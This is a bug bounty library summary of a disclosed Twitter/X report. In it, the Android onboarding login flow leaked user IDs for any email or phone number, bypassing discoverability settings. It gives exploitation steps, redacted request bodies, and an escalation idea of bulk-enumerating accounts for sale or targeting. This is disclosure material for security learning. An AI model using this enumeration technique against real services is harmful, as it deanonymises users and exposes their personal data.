# Discoverability by phone number/email restriction bypass

Unauthenticated onboarding login flow returns user_id for any email/phone via AccountDuplicationCheck, bypassing the discoverability privacy setting.

- Payout: $5,040
- Severity: high
- Program: X / xAI
- Found by: zhirinovskiy
- Disclosed: 2022-02-11
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1439026
- Library page: https://bugbountylibrary.com/r/h1%3A1439026
- Tags: area:mobile domain:api domain:mobile impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:high tech:rest technique:recon vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Twitter/X Android onboarding API (api.twitter.com/1.1/onboarding/task.json)
**Root cause:** The login flow's AccountDuplicationCheck subtask returns the account's user_id when an email/phone is submitted, without honoring the user's discoverability-by-email/phone privacy setting.
**Steps:**
1. POST `https://api.twitter.com/1.1/onboarding/task.json?flow_name=login` with TwitterAndroid headers, Bearer, and a fresh `X-Guest-Token`; body `{"flow_token":null,"input_flow_data":{...}}` to obtain `flow_token`.
2. POST same endpoint with body `{"flow_token":"<token>","subtask_inputs":[{"enter_text":{"suggestion_id":null,"text":"<victim email/phone>","link":"next_link"},"subtask_id":"LoginEnterUserIdentifier"}]}`.
3. Read `user_id` from the `AccountDuplicationCheck` subtask in the response.
4. Resolve user_id to full profile via any public lookup endpoint.
**How found:** Noticed the Android login flow's account-duplication check leaks user_id for any identifier, then tested against an account with discoverability disabled and confirmed the privacy setting was ignored.
**Exploitation:** Unauthenticated attacker generates a guest token, starts a login flow, submits arbitrary emails/phones, and harvests user_ids from AccountDuplicationCheck responses. Scriptable to enumerate the user base into email/phone-to-account mappings, including suspended accounts.
**Escalation:** Bulk enumeration via scripting to build a phone/email-to-username database for sale or targeting.
**Insight:** Auth/onboarding flows that check 'does this account exist' (duplication, recovery, registration) often leak identifiers independent of privacy settings; test these subtask responses with discoverability/private settings enabled.

## Proof of concept (copied exactly from the original report)

**POST onboarding task.json to create login flow**

```
https://api.twitter.com/1.1/onboarding/task.json?flow_name=login

Headers (stay the same for all the requests):
>User-Agent: ████ (████)
>Accept-Encoding: gzip, deflate
>Authorization: Bearer ███████
>X-Guest-Token: █████ __#This value changes dynamically and must be generated every once in a while__
>Accept: application/json
>X-Twitter-Client: TwitterAndroid
>System-User-Agent: ██████
>Content-Encoding: application/json
>Content-Type: application/json
>Accept-Language: en-US

Body:
>{"flow_token":null,"input_flow_data":{"country_code":null,"flow_context":{"start_location":{"location":"deeplink"}},"requested_variant":null,"target_user_id":0}}
```

**Submit email to get user_id despite restriction**

```
{"flow_token":"██████","subtask_inputs":[{"enter_text": {"suggestion_id":null, "text": "**█████████**", "link": "next_link"},
                           "subtask_id": "LoginEnterUserIdentifier"}]}
```

